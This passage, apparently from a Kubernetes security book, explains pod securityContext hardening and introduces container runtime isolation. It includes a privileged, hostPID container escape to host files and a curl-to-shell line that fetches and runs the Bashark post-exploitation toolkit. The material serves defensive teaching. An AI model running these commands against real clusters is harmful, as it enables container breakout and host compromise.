A hostile scheduler could conceivably exfiltrate data or workloads from the cluster, but requires the cluster to be compromised in order to add it to the control plane. It would be easier to schedule a privileged container and root the control plane
kubelets
.

Pod Volume Definitions

Here we are

using a bound service account token
, defined in YAML as a

projected service account token (instead of a standard service account). The kubelet
protects this against exfiltration by regularly rotating it (configured for every 3600 seconds, or one hour), so it’s only of limited use if stolen. An attacker with persistence is still able to use this value, and can observe its value after it’s rotated, so this only protects the service account after the attack has completed:

volumes

:

-

name

:

kube-api-access-p282h

projected

:

defaultMode

:

420

sources

:

-

serviceAccountToken

:

expirationSeconds

:

3600

path

:

token

-

configMap

:

items

:

-

key

:

ca.crt

path

:

ca.crt

name

:

kube-root-ca.crt

-

downwardAPI

:

items

:

-

fieldRef

:

apiVersion

:

v1

fieldPath

:

metadata.namespace

path

:

namespace

Volumes
are a rich source of potential data for an attacker, and you should ensure that standard security practices like discretionary access control (DAC, e.g., files and permissions) is correctly configured.

Tip

The downward API
reflects Kubernetes-level values into the containers in the pod, and is useful to expose things like the pod’s name, namespace, UID, and labels and annotations into the container. It’s capabilities are listed in the documentation
.

A container is just Linux, and will not protect its workload
from incorrect configuration.

Pod Network Status

Network information

about the pod is useful to debug containers without services, or that aren’t responding as they should, but an attacker might use this information to connect directly to a pod without scanning the network:

status

:

hostIP

:

10.0.1.3

phase

:

Running

podIP

:

192.168.155.130

podIPs

:

-

ip

:

192.168.155.130

Using the securityContext Correctly

A pod is more

likely to be compromised if a securityContext
is not configured, or is too permissive. The securityContext
is your most effective tool to prevent container breakout.

After gaining an RCE into a running pod, the securityContext
is the first line of defensive configuration you have available. It has access to kernel switches that can be set individually. Additional Linux
Security Modules can be configured with fine-grained policies that prevent hostile applications taking advantage of your systems.

Docker’s containerd
has

a default seccomp
profile that has prevented some
zero-day attacks against the container runtime by blocking system calls in the kernel. From Kubernetes v1.22 you should enable this by default for all runtimes with the
--seccomp-default

kubelet
flag. In some cases workloads may not run with the default profile: observability or security tools may require low-level kernel access. These workloads should have custom seccomp
profiles written (rather than resorting to running them Unconfined
, which allows any system call).

Here’s an example of a fine-grained seccomp
profile loaded from the host’s filesystem under /var/lib/kubelet/seccomp
:

securityContext

:

seccompProfile

:

type

:

Localhost

localhostProfile

:

profiles/fine-grained.json

seccomp
is for system calls, but SELinux

and AppArmor can monitor and enforce policy in userspace too, protecting files, directories, and devices.

SELinux configuration is able to block most container breakouts (excluding with a label-based approach to filesystem and process access) as it doesn’t allow containers to write anywhere but their own filesystem, nor to read other directories, and comes enabled on OpenShift and Red Hat Linuxes.

AppArmor can similarly monitor and prevent many attacks in Debian-derived Linuxes. If AppArmor is enabled, then cat /sys/module/apparmor/parameters/enabled
returns Y
, and it can be used in pod definitions:

annotations

:

container.apparmor.security.beta.kubernetes.io/hello

:

localhost/k8s-apparmor-example-deny-write

The privileged
flag

was quoted as being “the most dangerous flag in the history of computing” by Liz Rice, but why are privileged containers so dangerous? Because they leave the process namespace enabled to give the illusion of containerization, but actually disable all security features.

“Privileged” is a specific securityContext
configuration: all but the process namespace is disabled, virtual filesystems are unmasked, LSMs are disabled, and all capabilities are granted.

Running as a nonroot user without capabilities, and setting AllowPrivilegeEscalation
to

false
provides a robust protection against many privilege escalations:

spec

:

containers

:

-

image

:

controlplane/hack

securityContext

:

allowPrivilegeEscalation

:

false

The granularity of security contexts means each property of the configuration must be tested to ensure it is not set: as a defender by configuring admission control and testing YAML or as an attacker with a dynamic test (or amicontained
) at runtime.

Tip

We explore how to detect privileges inside a container later in this chapter.

Sharing namespaces with the host also reduces the isolation of the container and opens it to greater potential risk. Any mounted filesystems effectively add to the mount namespace.

Ensure your pods’ securityContext
s are correct and your systems will be safer against known

attacks.

Enhancing the securityContext with Kubesec

Kubesec
is a

simple tool to validate the security of a Kubernetes resource.

It returns a risk score for the resource, and advises on how to tighten the securityContext
(note that we edited the output to fit):

$

cat <<EOF > kubesec-test.yaml

apiVersion: v1

kind: Pod

metadata:

name: kubesec-demo

spec:

containers:

- name: kubesec-demo

image: gcr.io/google-samples/node-hello:1.0

securityContext:

readOnlyRootFilesystem: true

EOF

$

docker run -i kubesec/kubesec:2.11.1 scan - < kubesec-test.yaml
[

{

"object"

: "Pod/kubesec-demo.default"

,
"valid"

: true

,
"fileName"

: "STDIN"

,
"message"

: "Passed with a score of 1 points"

,
"score"

: 1,
"scoring"

: {

"passed"

: [{

"id"

: "ReadOnlyRootFilesystem"

,
"selector"

: "containers[].securityContext.readOnlyRootFilesystem == true"

,
"reason"

: "An immutable root filesystem can ... increase attack cost"

,
"points"

: 1
}

]

,
"advise"

: [{

"id"

: "ApparmorAny"

,
"selector"

: ".metadata.annotations.container.apparmor.security.beta.kubernetes.io/nginx"

,
"reason"

: "Well defined AppArmor ... WARNING: NOT PRODUCTION READY"

,
"points"

: 3
}

,
...

Kubesec.io
documents practical changes to make to your securityContext, and we’ll document some of them here.

Tip

Shopify’s excellent kubeaudit
provides
similar functionality for all resources in a cluster.

Hardened securityContext

The NSA

published “Kubernetes Hardening Guidance”
, which recommends a hardened set of securityContext
standards. It recommends scanning for vulnerabilities and misconfigurations, least privilege, good RBAC and IAM, network firewalling and encryption, and “to periodically review all Kubernetes settings and use vulnerability scans to help ensure risks are appropriately accounted for and security patches are applied.”

Assigning least privilege to a container in a pod is the responsibility of the securityContext
(see details in Table 2-2
). Note that the PodSecurityPolicy resource discussed in “Runtime Policies”
maps onto the config

flags available in securityContext
.

Table 2-2.
securityContext fields

Field name(s)

Usage

Recommendations

privileged

Controls whether pods can run privileged containers.

Set to false
.

hostPID
, hostIPC

Controls whether containers can share host process namespaces.

Set to false
.

hostNetwork

Controls whether containers can use the host network.

Set to false
.

allowedHostPaths

Limits containers to specific paths of the host filesystem.

Use a “dummy” path name (such as /foo
marked as read-only). Omitting this field results in no admission restrictions being placed on containers.

readOnlyRootFilesystem

Requires the use of a read only root filesystem.

Set to true
when possible.

runAsUser
, runAsGroup
, supplementalGroups
, fsGroup

Controls whether container applications can run with root privileges or with root group membership.

Set runAsUser
to MustRunAsNonRoot
.

Set runAsGroup
to nonzero
.

Set supplementalGroups
to nonzero
.

Set fsGroup
to nonzero
.

allowPrivilegeEscalation

Restricts escalation to root privileges.

Set to false
. This measure is required to effectively enforce runAsUser: MustRunAsNonRoot
settings.

SELinux

Sets the SELinux context of the container.

If the environment supports SELinux, consider adding SELinux labeling to further harden the container.

AppArmor
annotations

Sets the AppArmor profile used by containers.

Where possible, harden containerized applications by employing AppArmor to constrain exploitation.

seccomp
annotations

Sets the seccomp
profile used to sandbox containers.

Where possible, use a seccomp
auditing profile to identify required syscalls for running applications; then enable a seccomp
profile to block all other syscalls.

Let’s explore these in more detail using the

kubesec
static analysis tool, and the selectors it uses to interrogate your Kubernetes resources.

containers[] .securityContext .privileged

A privileged container

running is potentially a bad day for your security team. Privileged containers disable namespaces (except process
) and LSMs, grant all capabilities, expose the host’s devices through /dev
, and generally make things insecure by default. This is the first thing an attacker looks for in a newly compromised pod.

.spec .hostPID

hostPID
allows
traversal from the container to the host through the /proc
filesystem, which symlinks other processes’ root filesystems. To read from the host’s process namespace, privileged
is needed as well:

user@host $ OVERRIDES='{"spec":{"hostPID": true,''"containers":[{"name":"1",'

user@host $ OVERRIDES+='"image":"alpine","command":["/bin/ash"],''"stdin": true,'

user@host $ OVERRIDES+='"tty":true,"imagePullPolicy":"IfNotPresent",'

user@host $ OVERRIDES+='"securityContext":{"privileged":true}}]}}'

user@host $ kubectl run privileged-and-hostpid --restart=Never -it --rm \

--image noop --overrides "${OVERRIDES}"

/ # grep PRETTY_NAME /etc/*release*

PRETTY_NAME="Alpine Linux v3.14"

/ # ps faux | head

PID USER TIME COMMAND

1 root 0:07 /usr/lib/systemd/systemd noresume noswap cros_efi

2 root 0:00 [kthreadd]

3 root 0:00 [rcu_gp]

4 root 0:00 [rcu_par_gp]

6 root 0:00 [kworker/0:0H-kb]

9 root 0:00 [mm_percpu_wq]

10 root 0:00 [ksoftirqd/0]

11 root 1:33 [rcu_sched]

12 root 0:00 [migration/0]

/ # grep PRETTY_NAME /proc/1/root/etc/*release

/proc/1/root/etc/os-release:PRETTY_NAME="Container-Optimized OS from Google"

Start a privileged container and share the host process namespace.

As the root user in the container, check the container’s operating system version.

Verify we’re in the host’s process namespace (we can see PID 1, and kernel helper processes).

Check the distribution version of the host, via the /proc
filesystem inside the containe. This is possible because the PID namespace is shared with the host.

Note

Without privileged
, the host process namespace is inaccessible to root in the container:

/ $

grep PRETTY_NAME /proc/1/root/etc/*release*
grep: /proc/1/root/etc/*release*: Permission denied

In this case the attacker is limited to searching the filesystem or memory as their UID allows, hunting for key material or sensitive data.

.spec .hostNetwork

Host networking access
allows us to sniff

traffic or send fake traffic over the host adapter (but only if we have permission to do so, enabled by CAP_NET_RAW
or CAP_NET_ADMIN
), and evade network
policy (which depends on traffic originating from the expected source IP of the adapter in the pod’s network namespace).

It also grants access to services bound to the host’s

loopback adapter (localhost
in the root network namespace) that traditionally was considered a security boundary.

Server Side Request Forgery (SSRF) attacks have reduced the incidence of this pattern, but it may still exist (Kubernetes’ API server --insecure-port
used this pattern until it was deprecated in v1.10 and finally removed in v1.20).

.spec .hostAliases

Permits
pods to override their local /etc/hosts
files. This may have more operational implications (like not being updated in a timely manner and causing an outage) than security connotations.

.spec .hostIPC

Gives the
pod access to the host’s

Interprocess Communication namespace, where it may be able to interfere with trusted processes on the host. It’s likely this will enable simple host compromise via /usr/bin/ipcs
or files in shared memory at /dev/shm
.

containers[] .securityContext .runAsNonRoot

The root
user
has special permissions in a Linux system, and although the permissions set is reduced

within a container, the root user is still treated differently by lots of kernel code.

Preventing root from owning the processes inside the container is a simple and effective
security measure. It stops many of the
container breakout attacks listed in this book, and adheres to standard and established Linux security practice.

containers[] .securityContext .runAsUser > 10000

In addition to

preventing root
running processes, enforcing high UIDs for containerized processes lowers the risk of breakout without user namespaces: if the user in the container (e.g., 12345) has an equivalent UID on the host (that is, also 12345), and the user in the container is able to reach them through mounted volume or shared namespace, then resources may accidentally be shared and allow container breakout (e.g., filesystem permissions and authorization checks).

containers[] .securityContext .readOnlyRootFilesystem

Immutability
is

not a security boundary as code can be downloaded from the internet and run by an interpreter (such as Bash, PHP, and Java) without using the filesystem, as the bashark
post-exploitation toolkit

shows:

root@r00t:/tmp [

0]

# source <(curl -s \

https://raw.githubusercontent.com/redcode-labs/Bashark/master/bashark.sh)

__________ .__ __ ________ _______
\_

_____ \_

____ _____|

|

__ _____ _______|

|

__ ___ __ \_

____ \

\

_ \

|

|

_/\_

_ \

/ ___/ |

\\

__ \\

_ __ \

|

/ / \

\/

/ / ____/ / /_\

\

|

|

\

/ __ \_\_

__ \|

Y \/

__ \|

|

\/

< \

/ / \

\

\_

/ \

|

______ /(

____ /____ >___|

(

____ /__|

|

__|

_ \

\_

/ /\

\_

______ \

/\ \_

____ /
\/

\/

\/

\/

\/

\/

\/

\/

\/

\/

[

*]

Type 'help'

to show available commands

bashark_2.0$

Filesystem locations like /tmp
and /dev/shm
will probably always be writable to support application behavior, and so read-only filesystems cannot be relied upon as a security boundary. Immutability will prevent against some drive-by and automated attacks, but is not a robust security boundary.

Intrusion detection tools

such as falco
and tracee
can detect new Bash shells spawned in a container (or any non-allowlisted applications). Additionally tracee
can detect in-memory execution
of malware that attempts to hide itself by observing /proc/pid/maps
for memory that was once writable but is now executable.

Note

We look at Falco in more detail in Chapter 9
.

containers[] .securityContext .capabilities .drop | index(“ALL”)

You should

always drop all
capabilities and only readd those that your application needs to operate.

containers[] .securityContext .capabilities .add | index(“SYS_ADMIN”)

The presence of

this capability
is a red flag: try to find another way to deploy any container that requires this, or deploy into a dedicated namespace with custom security rules to limit the impact of compromise.

containers[] .resources .limits .cpu, .memory

Limiting
the total amount of

memory available to a container prevents denial of service attacks taking out the host machine, as the container dies first.

containers[] .resources .requests .cpu, .memory

Requesting resources
helps the scheduler to “bin pack” resources effectively. Over-requesting
resources may be an adversary’s attempt to schedule new pods to another Node they control.

.spec .volumes[] .hostPath .path

A writable /var/run/docker.sock
host mount
allows breakout to the host. Any filesystem that an attacker can write a symlink to is vulnerable, and an attacker can use that path to explore and exfiltrate from the

host.

Into the Eye of the Storm

The Captain and crew have had a fruitless raid, but this is not the last we will hear of their escapades.

As we progress through this book, we will see how Kubernetes pod components interact with the wider system, and we will witness Captain Hashjack’s efforts to exploit them.

Conclusion

There are multiple layers of configuration to secure for a pod to be used safely, and the workloads you run are the soft underbelly of Kubernetes security.

The pod is the first line of defense and the most important part of a cluster to protect. Application code changes frequently and is likely to be a source of potentially exploitable bugs.

To extend the anchor and chain metaphor, a cluster is only a strong as its weakest link. In order to be provably secure, you must use robust configuration testing, preventative control and policy in the pipeline and admission control, and runtime intrusion detection—as nothing is infallible.

Chapter 3.
Container Runtime Isolation

Linux has evolved sandboxing and isolation techniques beyond simple virtual machines (VMs) that strengthen it from current and future vulnerabilities. Sometimes these sandboxes are called micro VMs
.

These sandboxes
combine parts of all previous container and VM approaches. You would use them to protect sensitive workloads and data, as they focus on rapid deployment and high performance on shared infrastructure.

In this chapter we’ll discuss different types of micro VMs that use virtual machines and containers together, to protect your running Linux kernel and userspace. The generic term sandboxing
is used to cover the entire spectrum: each tool in this chapter combines software and hardware
virtualization of technologies and uses Linux’s Kernel Virtual Machine (KVM),

which is widely used to power VMs in public cloud services, including Amazon Web Services and Google Cloud.

You run a lot of workloads at BCTL, and you should remember that while these techniques may also protect against Kubernetes mistakes, all of your web-facing software and infrastructure is a more obvious place to defend first. Zero-days and container breakouts are rare in comparison to simple security-sensitive misconfigurations.

Hardened runtimes are newer, and have fewer generally less dangerous CVEs than the kernel or more established container runtimes, so we’ll focus less on historical breakouts and more on the history of micro VM design and rationale.

Defaults

kubeadm
installs

Kubernetes with runc
as its
container runtime, using cri-o
or
containerd

to manage it. The old dockershim
way
of running runc
was removed in Kubernetes v1.20, so although Kubernetes doesn’t use Docker any more, the runc
container runtime that Docker is built on continues to run containers for us. Figure 3-1
shows three ways Kubernetes can consume the runc
container runtime: CRI-O, containerd
, and Docker.

Figure 3-1.
Kubernetes container runtime interfaces

We’ll
get into container runtimes in a lot of detail later on in this
chapter.

Threat Model

You have two main reasons for

isolating a workload or pod—it may have access to sensitive information and data, or it may be untrusted and potentially hostile to other users of the system:

- A sensitive
workload is one whose data or code is too important to permit unauthorized access to. This may include fraud
detection systems, pricing engines, high-frequency trading algorithms, personally identifiable information (PII), financial records, passwords that may be reused in other systems, machine learning models, or an organization’s “secret sauce.” Sensitive workloads are precious.

- Untrusted
workloads

are those that may be dangerous to run. They may allow high-risk user input or run external software.

Examples of potentially untrusted workloads include:

- VM workloads on a cloud provider’s

hypervisor

- CI/CD infrastructure

subject to build-time supply chain attacks

- Transcoding
of complex files with potential parser errors

Untrusted workloads may also

include software with published or suspected zero-day Common Vulnerabilities and Exposures (CVEs)—if no patch is available and the workload is business-critical, isolating it further may decrease the potential impact of the vulnerability if
exploited.

Note

The threat to a host running untrusted workloads

is the workload, or process, itself. By sandboxing a process and removing the system APIs available to it, the attack surface presented by the host to the process is decreased. Even if that process is compromised, the risk to the host is less.

BCTL allows users to upload files to import data and shipping manifests, so you have a risk that threat actors will try to upload badly formatted or malicious files to try to force exploitable software errors. The pods
that run the batch transformation and processing workloads are a good candidate for sandboxing, as they are processing untrusted inputs as shown in Figure 3-2
.

Figure 3-2.
Sandboxing a risky batch workload

Note

Any data supplied to an
application by users can be considered untrusted, however most input will be sanitized in some way (for example, validating against an integer or string type). Complex files like PDFs or videos cannot be sanitized in this way, and rely upon the encoding libraries to be secure, which they sometimes are not. Bugs in this type are often “escapable” like CVE-X or ImageTragick.

Your threat model may include:

- An untrusted
user input triggers a bug in a workload that an attacker uses to execute malicious code

- A sensitive application is compromised and the attacker tries to exfiltrate data

- A malicious user on a compromised node attempts to read memory of other processes on the host

- New sandboxing code is less well tested, and may contain exploitable bugs

- A container image build pulls malicious dependencies and code from unauthenticated external sources that may contain malware

Note

Existing container runtimes come

with some hardening by default, and Docker uses default seccomp
and AppArmor profiles that drop a large number of unused system calls. These are not enabled by default in Kubernetes and must be enforced with admission control or PodSecurityPolicy. The SeccompDefault=true
kubelet feature gate in v1.22 restores this container runtime default behavior.

Now that we have an idea of the dangers to your systems, let’s take a step back. We’ll look at virtualization: what it is, why we use containers, and how to combine the best bits of containers and VMs.

Containers, Virtual Machines, and Sandboxes

A major difference between a

container and a VM is that containers exist on a shared host kernel. VMs boot a kernel every time they start, use hardware-assisted virtualization, and have a more secure but traditionally slower runtime.

A common perception is that containers are optimized for speed and portability, and virtual machines sacrifice these features for more robust isolation from malicious behavior and higher fault tolerance.

This perception is not entirely true. Both technologies share a lot of common code pathways in the kernel itself. Containers and virtual machines have evolved like co-orbiting stars, never fully able to escape each other’s gravity. Container runtimes are a form of kernel virtualization. The OCI (Open Container Initiative
) container

image specifications have become the standardized atomic unit of container deployment.

Next-generation sandboxes
combine container and virtualization techniques (see Figure 3-3
) to reduce workloads’ access to the kernel. They do this by by emulating kernel functionality in userspace or the isolated guest environment, thus reducing the host’s
attack surface to the process inside the sandbox. Well-defined interfaces can help to reduce complexity, minimizing the opportunity for untested code paths. And, by integrating the sandboxes with containerd
, they
are also able to interact with OCI images and with a software proxy (“shim”) to connect two different interfaces, which can be used with orchestrators like Kubernetes.

Figure 3-3.
Comparison of container isolation approaches; source: Christian Bargmann and Marina Tropmann-Frick’s container isolation paper

These sandboxing techniques are especially relevant to public cloud providers, for which multitenancy

and bin packing is highly lucrative. Aggressively multitenanted systems such as Google Cloud Functions
and AWS Lambda are

running “untrusted code as a service,” and this isolation software is born from cloud vendor security requirements to isolate serverless runtimes from other tenants. Multitenancy will be discussed in depth in the
next chapter.

Cloud providers
use virtual machines as the atomic unit of compute, but they may also wrap the root virtual machine process in container-like technologies. Customers then use the virtual machine to run containers—virtualized inception.

Traditional virtualization emulates a physical hardware architecture in software. Micro

VMs emulate as small an API as possible, removing features like I/O devices and even system calls to ensure least privilege. However, they are still running the same Linux kernel code to perform low-level program operations such as memory mapping and opening sockets—just with additional security abstractions to create a secure by default runtime. So even though VMs are not sharing as much of the kernel as containers do, some system calls must still be executed by the host kernel.

Software abstractions
require CPU time to execute, and so virtualization must always be a balance of security and performance. It is possible to add enough layers of abstraction and indirection that a process is considered “highly secure,” but it is unlikely that this ultimate security will result in a viable user experience. Unikernels
go in the other direction, tracing a program’s execution and then removing almost all kernel functionality except what the program has used. Observability and debuggability are perhaps the reasons that unikernels have not seen widespread adoption.

To understand the trade-offs and compromises inherent in each approach, it is important to grok a comparison of virtualization types. Virtualization has existed for a long time and has many variations.

How Virtual Machines Work

Although virtual
machines and associated technologies have existed since the late 1950s, a lack of hardware support in the 1990s led to their temporary demise. During this time “process virtual machines” became more popular, especially the Java virtual machine (JVM). In this chapter we are exclusively referring to system virtual machines: a
form of virtualization not tied to a specific programming language. Examples include KVM/QEMU, VMware, Xen, VirtualBox, etc.

Virtual machine research began in the 1960s to facilitate sharing large, expensive physical machines between multiple users and processes (see Figure 3-4
). To share a physical host safely, some level of isolation must be enforced between tenants—and in case of hostile tenants, there should be much less access to the underlying system.

Figure 3-4.
Family tree of virtualization; source: “The Ideal Versus the Real”

This is performed in hardware (the CPU), software (in the kernel, and userspace), or from cooperation between both layers, and allows many users to share the same large physical hardware. This innovation became the driving technology behind
public cloud adoption: safe sharing and isolation for processes, memory, and the resources they require from the physical host machine.

The host machine is split into smaller isolated compute units, traditionally referred to as

guests (see Figure 3-5
). These guests interact with a virtualized layer above the physical host’s CPU and devices. That layer intercepts system calls to handle them itself: either by proxying them to the host kernel, or handling the request itself—doing the kernel’s job where possible. Full
virtualization (e.g., VMware) emulates hardware and boots a full kernel inside the guest. Operating-system–level virtualization
(e.g., a container) emulates the host’s kernel (i.e., using namespace, cgroups
, capabilities, and seccomp
) so it can start a containerized process directly on the host kernel. Processes in containers share many of the kernel pathways and security mechanisms that processes in VMs execute.

Figure 3-5.
Server virtualization; source: “The Ideal Versus the Real”

To boot a
kernel, a guest operating system will require access to a subset of the host machine’s functionality, including BIOS routines, devices and peripherals (e.g., keyboard, graphical/console access, storage, and networking), an interrupt controller and an interval timer, a source of entropy (for random number seeds), and the memory address space that it will run in.

Inside each guest virtual machine is an environment in which processes (or workloads) can run. The virtual machine itself is owned by a privileged parent process that manages its setup and interaction with the host, known as a virtual machine monitor
or VMM

(as in Figure 3-6
). This has also been known as a
hypervisor, but the distinction is blurred with more recent approaches so the original term VMM is preferred.

Figure 3-6.
A virtual machine manager

Linux has a built-in virtual machine manager

called KVM that allows a host kernel to run virtual machines. Along with

QEMU, which emulates physical devices and provides memory management to the guest (and can run by itself if necessary), an operating system can run fully emulated by the guest OS and by QEMU (as contrasted with the Xen hypervisor in Figure 3-7
). This emulation narrows the interface between the VM and the host kernel and reduces the amount of kernel code the process inside the VM can reach directly. This provides a greater level of isolation from unknown kernel vulnerabilities.

Figure 3-7.
KVM contrasted with Xen and QEMU; source: What Is the Difference Between KVM and QEMU

Note

Despite many decades of effort, “in practice no virtual machine is completely equivalent to its real machine counterpart” (“The Ideal Versus the Real”
). This is due to the complexities of emulating hardware, and hopefully decreases the chance that we’re living in a simulation.

Benefits of Virtualization

Like all things
we try to secure, virtualization must balance performance with security: decreasing the risk of running your workloads using the minimum possible number of extra checks at runtime. For containers, a shared host kernel is an avenue of potential container escape—the Linux kernel has a long heritage and monolithic codebase.

Linux is mainly written in the C language, which has classes of

memory management and range checking vulnerabilities that have proven notoriously difficult to entirely eradicate. Many applications have experienced these exploitable bugs when subjected to fuzzers. This risk means we want to keep hostile code away from trusted interfaces in case they have zero-day vulnerabilities. This is a pretty serious defensive stance—it’s about reducing any window of opportunity for an attacker that has access to zero-day Linux vulnerabilities.

Note

Google’s OSS-Fuzz
was
born from the swirling maelstrom around the Heartbleed OpenSSL bug, which may have been raging in the wild for up to two years. Critical, internet-bolstering projects like OpenSSL are poorly funded and much goodwill exists in the open source community, so finding these bugs before they are exploited is a vital step in securing critical software.

The sandboxing model defends
against zero-days by abstractions. It moves processes away from the Linux system call interface to reduce the opportunities to exploit it, using an assortment of containers and capabilities, LSMs and kernel modules, hardware and software virtualization, and dedicated drivers. Most recent sandboxes use a type-safe language
like Golang or Rust, which makes their memory management safer than software programmed in C (which requires manual and potentially error-prone memory management).

What’s Wrong with Containers?

Let’s further define

what we mean by containers by looking at how they interact with the host kernel, as shown in Figure 3-8
.

Containers talk directly to the host kernel, but the layers of LSMs, capabilities, and namespaces ensure they do not have full host kernel access. Conversely, instead of sharing one kernel, VMs use a guest kernel (a dedicated kernel running in a hypervisor). This means if the VM’s guest kernel is compromised, more work is required to break out of the hypervisor and into the host.

Figure 3-8.
Host kernel boundary

Containers are created by a low-level container runtime, and as users we talk to the high-level container runtime that controls it.

The diagram in Figure 3-9
shows the high-level interfaces, with the container managers on the left. Then Kubernetes, Docker, and Podman interact with their respective libraries and runtimes. These perform useful container management features including pushing and pulling container images, managing storage and network interfaces, and interacting with the low-level container runtime.

Figure 3-9.
Container abstractions; source: “What’s up with CRI-O, Kata Containers and Podman?”

In the middle column of Figure 3-9
are the container runtimes that your Kubernetes cluster interacts with, while in the right column are the low-level runtimes responsible for starting and managing the container.

That low-level container runtime is directly responsible for starting and managing containers, interfacing with the kernel to create the namespaces and configuration, and finally starting the process in the container. It is also responsible for handling your process inside the container, and getting its system calls to the host kernel at

runtime.

User Namespace Vulnerabilities

Linux was written

with a core assumption: that the root user is always in the host namespace. This assumption held true while there were no other namespaces. But this changed with the introduction of user namespaces (the last major kernel namespace to be completed): developing user namespaces required many code changes to code concerning the root user.

User namespaces allow you to
map users inside a container to other users on the host, so ID 0 (root) inside the container can create files on a volume that from within the container look to be root-owned. But when you inspect the same volume from the host, they show up as owned by the user root was mapped to (e.g., user ID 1000, or 110000, as shown in Figure 3-10
). User namespaces are not enabled in Kubernetes, although work is underway to support them.

Figure 3-10.
User namespace user ID remapping

Everything in Linux is a file, and files are owned by users. This makes user namespaces wide-reaching and complex, and they have been a source of

privilege escalation bugs in previous versions of Linux:

CVE-2013-1858
(user namespace & CLONE_FS)

The clone system-call
implementation in the Linux kernel before 3.8.3 does not properly handle a combination of the CLONE_NEWUSER
and CLONE_FS
flags, which allows local users to gain privileges by calling chroot
and leveraging the sharing of the / directory between a parent process and a child process.

CVE-2014-4014
(user namespace & chmod)

The capabilities
implementation in the Linux kernel before 3.14.8 does not properly consider that namespaces are inapplicable to inodes, which allows local users to bypass intended chmod
restrictions by first creating a user namespace, as demonstrated by setting the setgid
bit on a file with group ownership of root
.

CVE-2015-1328
(user namespace & OverlayFS (Ubuntu only))

The overlayfs
implementation in
the Linux kernel package before 3.19.0-21.21 in Ubuntu versions until 15.04 did not properly check permissions for file creation in the upper filesystem directory, which allowed local users to obtain root access by leveraging a configuration in which overlayfs
is permitted in an arbitrary mount namespace.

CVE-2018-18955
(user namespace & complex ID mapping)

In the Linux kernel 4.15.x through 4.19.x before 4.19.2, map_write()
in kernel/user_namespace.c
allows
privilege escalation because it mishandles nested user namespaces with more than 5 UID
or GID
ranges. A user who has CAP_SYS_ADMIN
in an affected user namespace can bypass access controls on resources outside the namespace, as demonstrated by reading /etc/shadow
. This occurs because an ID transformation takes place properly for the namespaced-to-kernel direction but not for the kernel-to-namespaced direction.

Containers are not inherently “insecure,” but as we saw in Chapter 2
, they can leak some information about a host, and a root-owned container runtime is a potential exploitation path for a hostile process or container image.

Tip

Operations such as creating network adapters in the host network namespace, and mounting host disks, are historically root-only, which has made rootless
containers harder to implement. Rootfull

container runtimes were the only viable option for the first decade of popularized container use.

Exploits that

have abused this rootfulness include CVE-2019-5736
, replacing the runc
binary from inside a container via /proc/self/exe
, and CVE-2019-14271
, attacking the host from inside a container responding to docker cp
.

Underlying concerns about a root-owned daemon can be assuaged by running rootless

containers in “unprivileged user namespaces” mode: creating containers using a nonroot user, within their own user namespace. This is supported in Docker 20.0X and Podman.

Rootless
means the low-level container runtime process that creates the container is owned by an unprivileged user, and so
container breakout via the process tree only escapes to a nonroot user, nullifying some potential attacks.

Note

Rootless containers introduce a hopefully less dangerous risk—user namespaces have historically been a rich source of vulnerabilities. The answer to whether it is riskier to run root-owned daemon or user namespaces isn’t clear-cut, although any reduction of root privileges is likely to be the more effective
security boundary. There have been more high-profile breakouts from root-owned Docker, but this may well be down to adoption and widespread use.

Rootless containers (without a root-owned daemon) provide a security boundary as compared to those with root-owned daemons. When code owned by the host’s root user is compromised by a malicious process, it can potentially read and write other users’ files, attack the network and its traffic, or install malware to the host.

The mapping of user identifiers (UIDs)

in the guest to actual users on the host depends on the user mappings of the host user namespace, container user namespace, and rootless runtime, as shown in Figure 3-11
.

Figure 3-11.
Container abstractions; source: “Experimenting with Rootless Docker”

User namespaces allow nonroot users to pretend to be the host’s root user. The “root-in-userns” user can have a “fake” UID 0 and permission to create new namespaces (mount, net, uts, ipc), change the container’s hostname, and mount points.

This allows root-in-userns, which is unprivileged in the host namespace, to create new containers. To achieve this, additional work must be done: network connections into the host network namespace can only be created by the host’s root. For rootless containers, an unprivileged slirp4netns
networking device (guarded by seccomp
) is used to create a virtual network device.

Unfortunately, mounting remote filesystems becomes difficult when the remote system, e.g., NFS home directories, does not understand the host’s user namespaces.

In the rootless Podman guide
, Dan Walsh
says:

If you have a normal process creating files on an NFS share and not taking advantage of user-namespaced capabilities, everything works fine. The problem comes in when the root process inside the container needs to do something on the NFS share that requires special capability access. In that case, the remote kernel will not know about the capability and will most likely deny access.

While rootless Podman

has SELinux support (and dynamic profile support via udica
), rootless

Docker does not yet support AppArmor and, for both runtimes, CRIU (Checkpoint/Restore In Userspace, a feature to freeze running applications) is disabled.

Both rootless runtimes require configuration for some networking features: CAP_NET_BIND_SERVICE
is required by the kernel to bind to ports below 1024 (historically considered a privileged boundary), and ping is not supported for users with high UIDs if the ID is not in /proc/sys/net/ipv4/ping_group_range
(although this can be changed by host root). Host networking is not permitted (as it breaks the network isolation), cgroups
v2 are functional but only when running under systemd
, and cgroup
v1 is not supported by either rootless implementation. There are more details in the docs for shortcomings of rootless Podman
.

Docker and Podman share

similar performance and features as both use runc
, although Docker has an established networking model that doesn’t support host networking in rootless mode, whereas Podman reuses Kubernetes’ Container Network Interface (CNI)) plug-ins for greater networking deployment flexibility.

Rootless containers
decrease the risk of running your container images. Rootlessness prevents an exploit escalating to root via many host interactions (although some use of SETUID
and SETGID
binaries is often needed by software aiming to avoid running processes as root).

While rootless containers protect the host from the container, it may still be possible to read some data from the host, although an adversary will find this a lot less useful. Root capabilities are needed to interact with potential privilege escalation points including /proc
, host devices, and the kernel interface, among others.

Throughout these layers of abstraction,

system calls are still ultimately handled by software written in potentially unsafe C. Is the rootless runtime’s exposure to C-based system calls in the Linux kernel really that bad? Well, the C language powers the internet (and world?) and has done so for decades, but its lack of memory management leads to the same critical bugs occurring over and over again. When the kernel, OpenSSL, and other critical software are written in C, we just want to move everything as far away from trusted kernel space as possible.

Note

Whitesource suggests
that C

has accounted for 47% of all reported vulnerabilities in the last 10 years. This may largely be due to its proliferation and longevity, but highlights the inherent risk.

While “trimmed-down” kernels exist (like unikernels and rump kernels), many traditional and legacy

applications are portable onto a container runtime without code modifications. To achieve this feat for a unikernel would require the application to be ported to the new reduced kernel. Containerizing an application is a generally frictionless developer experience, which has contributed to the success of

containers.

Sandboxing

If a process can
exploit the kernel, it can take over the system the kernel is running. This is a risk that adversaries like Captian Hashjack will attempt to exploit, and so cloud providers and hardware vendors have been pioneering different approaches to moving away from Linux system call interaction for the guest.

Linux
containers are a lightweight form of isolation as they allow workloads to use kernel APIs directly, minimizing the layers of abstraction. Sandboxes take a variety of other approaches, and generally use container techniques as well.

